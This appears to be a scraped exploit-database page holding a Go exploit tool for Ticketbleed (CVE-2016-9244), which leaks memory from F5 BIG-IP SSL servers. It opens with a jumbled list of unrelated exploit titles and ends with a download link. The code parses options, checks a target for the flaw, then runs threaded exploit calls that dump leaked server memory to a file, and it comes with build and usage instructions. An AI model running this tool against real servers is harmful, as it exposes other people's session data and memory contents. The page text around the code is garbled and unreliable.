
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
118 lines
No EOL
5.9 KiB
Text
118 lines
No EOL
5.9 KiB
Text
/*
|
|
# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]
|
|
# Date: [10.02.2017]
|
|
# Exploit Author: [Ege Balcı]
|
|
# Vendor Homepage: [https://f5.com/]
|
|
# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]
|
|
# Tested on: [Multiple]
|
|
# CVE : [CVE-2016-9244]
|
|
|
|
|
|
|
|
|
|
BUILD:
|
|
go get github.com/EgeBalci/Ticketbleed
|
|
go build Ticketbleed.go
|
|
|
|
USAGE:
|
|
./ticketbleed <options> <ip:port>
|
|
OPTIONS:
|
|
-o, --out Output filename for raw memory
|
|
-s, --size Size in bytes to read
|
|
-h, --help Print this message
|
|
|
|
*/
|
|
package main
|
|
|
|
import "github.com/EgeBalci/Ticketbleed"
|
|
import "strconv"
|
|
import "strings"
|
|
import "fmt"
|
|
import "os"
|
|
|
|
|
|
var OutputFile string = ""
|
|
var BleedSize int = 0
|
|
|
|
func main() {
|
|
|
|
|
|
ARGS := os.Args[1:]
|
|
if len(ARGS) < 1 || len(ARGS) > 5{
|
|
fmt.Println(Help)
|
|
os.Exit(1)
|
|
}
|
|
|
|
for i := 0; i < len(ARGS); i++{
|
|
|
|
if ARGS[i] == "-h" || ARGS[i] == "--help"{
|
|
fmt.Println(Help)
|
|
os.Exit(1)
|
|
}
|
|
|
|
if ARGS[i] == "-o" || ARGS[i] == "--out"{
|
|
OutputFile = ARGS[i+1]
|
|
}
|
|
|
|
if ARGS[i] == "-s" || ARGS[i] == "--size"{
|
|
Size,err := strconv.Atoi(ARGS[i+1])
|
|
if err != nil {
|
|
fmt.Println("[-] ERROR: Invalid size value !")
|
|
os.Exit(1)
|
|
}
|
|
if Size < 0 {
|
|
fmt.Println("[-] ERROR: Size can't be smaller than 0")
|
|
os.Exit(1)
|
|
}else{
|
|
BleedSize = Size
|
|
}
|
|
}
|
|
}
|
|
|
|
if OutputFile != "" {
|
|
File, FileErr := os.Create(OutputFile)
|
|
if FileErr != nil {
|
|
fmt.Println("[-] ERROR: While creating output file !")
|
|
os.Exit(1)
|
|
}
|
|
File.Close()
|
|
fmt.Println("[*] Output file: "+OutputFile)
|
|
}
|
|
|
|
VulnStatus := Ticketbleed.Check(ARGS[0]) // First check if it's vulnerable
|
|
fmt.Println(VulnStatus)
|
|
if strings.Contains(VulnStatus, "[+]") {
|
|
|
|
go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // With using multiple threads it is easyer to move on stack
|
|
Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // Othervise server echoes back alot of duplicate value
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
var Help string = `
|
|
▄▄▄█████▓ ██▓ ▄████▄ ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄ ██▓ ▓█████ ▓█████ ▓█████▄
|
|
▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ██▄█▒ ▓█ ▀▓ ██▒ ▓▒▓█████▄ ▓██▒ ▓█ ▀ ▓█ ▀ ▒██▀ ██▌
|
|
▒ ▓██░ ▒░▒██▒▒▓█ ▄ ▓███▄░ ▒███ ▒ ▓██░ ▒░▒██▒ ▄██▒██░ ▒███ ▒███ ░██ █▌
|
|
░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄░ ▓██▓ ░ ▒██░█▀ ▒██░ ▒▓█ ▄ ▒▓█ ▄ ░▓█▄ ▌
|
|
▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█ ▀█▓░██████▒░▒████▒░▒████▒░▒████▓
|
|
▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░ ░▒▓███▀▒░ ▒░▓ ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓ ▒
|
|
â–‘ â–’ â–‘ â–‘ â–’ â–‘ â–‘â–’ â–’â–‘ â–‘ â–‘ â–‘ â–‘ â–’â–‘â–’ â–‘ â–‘ â–‘ â–’ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–’ â–’
|
|
â–‘ â–’ â–‘â–‘ â–‘ â–‘â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘
|
|
â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘
|
|
â–‘ â–‘ â–‘
|
|
|
|
Author: Ege Balci
|
|
Github: github.com/EgeBalci
|
|
|
|
|
|
USAGE:
|
|
./ticketbleed <ip:port> <options>
|
|
OPTIONS:
|
|
-o, --out Output filename for raw memory
|
|
-s, --size Size in bytes to read
|
|
-h, --help Print this message
|
|
`
|
|
|
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41298.zip |